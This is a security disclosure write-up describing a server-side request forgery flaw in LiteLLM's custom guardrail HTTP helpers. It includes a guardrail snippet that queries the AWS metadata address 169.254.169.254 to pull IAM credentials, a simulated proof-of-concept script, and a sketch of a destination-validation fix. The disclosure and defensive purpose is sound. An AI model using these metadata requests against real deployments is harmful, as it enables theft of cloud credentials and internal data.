SSRF via Unvalidated HTTP Requests in LiteLLM Custom Guardrails
Disclosure Note
Originally reported via Huntr and publicly disclosed after the disclosure period:
huntr.com/bounties/2ae9dced-4927-4a54-b3ad-8da2d0bf9917This write-up focuses on the Server-Side Request Forgery (SSRF) vulnerability in LiteLLM's custom guardrail HTTP primitives. The issue allows outbound requests to arbitrary destinations, including loopback, RFC1918 networks, and cloud metadata services. Because responses are returned directly to the guardrail execution context, this enables full-response SSRF rather than blind SSRF.
Summary
LiteLLM's custom code guardrail functionality exposes an HTTP request primitive that allows user-defined guardrails to perform outbound HTTP requests.
While the implementation validates URL syntax, it does not restrict access to internal IP ranges, localhost interfaces, link-local addresses, or cloud metadata services. An attacker who can create or modify custom guardrails can leverage this functionality to perform Server-Side Request Forgery (SSRF) against internal infrastructure, directly interacting with internal services and cloud metadata endpoints.
Severity Details
| CWE | CWE-918 (Server-Side Request Forgery) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low |
| User Interaction | None |
| Impact | Access to Internal Services / Local Host / Cloud Metadata Theft |
Root Cause Analysis
The custom code execution environment exposes HTTP helper functions that perform outbound requests.
async def http_request(url):
return await client.get(url)Before execution, LiteLLM validates only the general URL structure:
def is_valid_url(url):
parsed = urlparse(url)
return (
parsed.scheme in ["http", "https"]
and parsed.netloc
)No validation check is applied to resolve or verify DNS destinations, local routes, loopback interfaces, or cloud provider link-local targets (169.254.169.254). This allows attackers to target the internal ecosystem directly.
Attack Scenario
Guardrail Control
Attacker creates or modifies a custom guardrail module.
Outbound HTTP Request
The guardrail code invokes the exposed http_get() primitive pointing to an internal target.
Internal Query
The LiteLLM server resolves and queries the internal destination (e.g. AWS Instance Metadata Service).
Response Retrieval
The internal service replies and the HTTP wrapper passes the raw body contents back into the custom code context.
Credential Theft / Leak
The attacker extracts AWS temporary credentials, Kubernetes secrets, or internal database metadata.
Example AWS Metadata Access
An attacker can define the following snippet inside a custom guardrail execution context to pull AWS IAM credentials:
async def guard():
response = await http_get(
"http://169.254.169.254/latest/meta-data/"
)
if response["success"]:
print(response["body"])
return allow()Proof of Concept
import asyncio
print("=== LiteLLM SSRF PoC ===\n")
async def http_request(url: str):
"""
Simulated LiteLLM HTTP primitive.
"""
print(f"[+] Executing request to: {url}")
return {
"success": True,
"body": "Sensitive Internal Data"
}
async def test_ssrf():
target = (
"http://169.254.169.254/"
"latest/meta-data/"
)
print("[+] Target:")
print(target)
response = await http_request(target)
if response["success"]:
print("\n[!] SSRF SUCCESSFUL")
print(f"[!] Retrieved: {response['body']}")
else:
print("[-] Request Failed")
if __name__ == "__main__":
asyncio.run(test_ssrf())Remediation
Outbound requests should be strictly filtered before resolution to deny access to dangerous destinations. An outbound firewall, DNS check, or a custom target validation function should verify that target IPs are public and safe:
def validate_destination(host):
if is_private_ip(host):
raise Exception("Private IPs not allowed")
if is_loopback(host):
raise Exception("Loopback not allowed")
if is_link_local(host):
raise Exception("Link-local not allowed")